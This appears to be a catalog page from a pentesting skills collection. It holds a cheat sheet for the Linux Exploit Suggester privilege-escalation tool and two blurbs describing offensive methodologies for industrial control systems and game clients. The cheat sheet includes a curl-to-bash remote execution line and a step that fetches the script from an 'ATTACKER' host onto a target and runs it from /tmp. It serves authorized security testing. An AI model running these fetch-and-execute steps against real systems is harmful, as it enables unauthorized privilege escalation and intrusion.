Linux Exploit Suggester
Kernel exploit suggester — maps running Linux version to known privesc CVEs.
Quick Start
# Download and run on target
curl -sL https://raw.githubusercontent.com/The-Z-Labs/linux-exploit-suggester/master/linux-exploit-suggester.sh | bash
# Or run locally
bash linux-exploit-suggester.sh
# Specify kernel manually
bash linux-exploit-suggester.sh --kernel 5.4.0
Core Flags
| Flag | Purpose |
|------|---------|
| --kernel VERSION | Override detected kernel |
| --uname STRING | Pass uname -r output |
| -f | More verbose (show all details) |
| --checksec | Check mitigations (NX/SMEP/etc) |
| -g | Show only highly probable exploits |
| --cvelist | Output CVE list |
Notable Exploits Detected
DirtyCow (CVE-2016-5195) · Dirty Pipe (CVE-2022-0847) · OverlayFS (CVE-2023-0386) · SUID sudo · nmap --interactive · pkexec (CVE-2021-4034)
Common Workflows
Full check with mitigation audit:
bash linux-exploit-suggester.sh --checksec -f
Parse output to get CVEs:
bash linux-exploit-suggester.sh --cvelist 2>/dev/null
Transfer to target:
# Attacker
python3 -m http.server 8080
# Target
wget http://ATTACKER:8080/linux-exploit-suggester.sh -O /tmp/les.sh && bash /tmp/les.sh

VerifiedTrustedCommunity
Offensive methodology for ICS/OT/SCADA environments in authorized industrial penetration testing and red team operations. Use when assessing PLCs, RTUs, HMIs, engineering workstations, historians, or field devices running Modbus, DNP3, EtherNet/IP, S7comm/S7+, Profinet, IEC 60870-5-104, BACnet, or OPC-UA. Covers passive OT network enumeration, protocol-level device interrogation, PLC coil/register read-write attacks, HMI session exploitation, historian and engineering workstation compromise, and safe escalation rules for critical infrastructure scope. Does not cover: general IT network exploitation (network-technique), physical hardware interfaces UART/JTAG/SPI (hardware-technique), wireless sensor network attacks (wireless-technique), RF/SDR signal analysis (hardware-ctf or wireless-technique), or CTF-framed ICS lab tasks (ics-ctf).

VerifiedTrustedCommunity
Offensive methodology for authorized game security assessments, game client security research, and game-adjacent penetration testing in real-world engagements. Use when assessing game clients for cheating vulnerabilities, testing anti-cheat effectiveness, auditing game server protocols for score manipulation or economic fraud, reverse engineering game DRM or license validation, analyzing game save file protection, or assessing game mod/plugin security. Covers: process memory scanning and manipulation (Cheat Engine methodology), game binary reversing for license and DRM bypass, game network protocol analysis and packet replay, anti-cheat mechanism analysis, save file format reversing and tampering, speed hack and value injection techniques. Does NOT cover: CTF game challenges (game-ctf), game engine source code auditing (web-exploit-technique or vuln-search-technique for the backend), or general binary exploitation (pwn-ctf or reversing-technique).
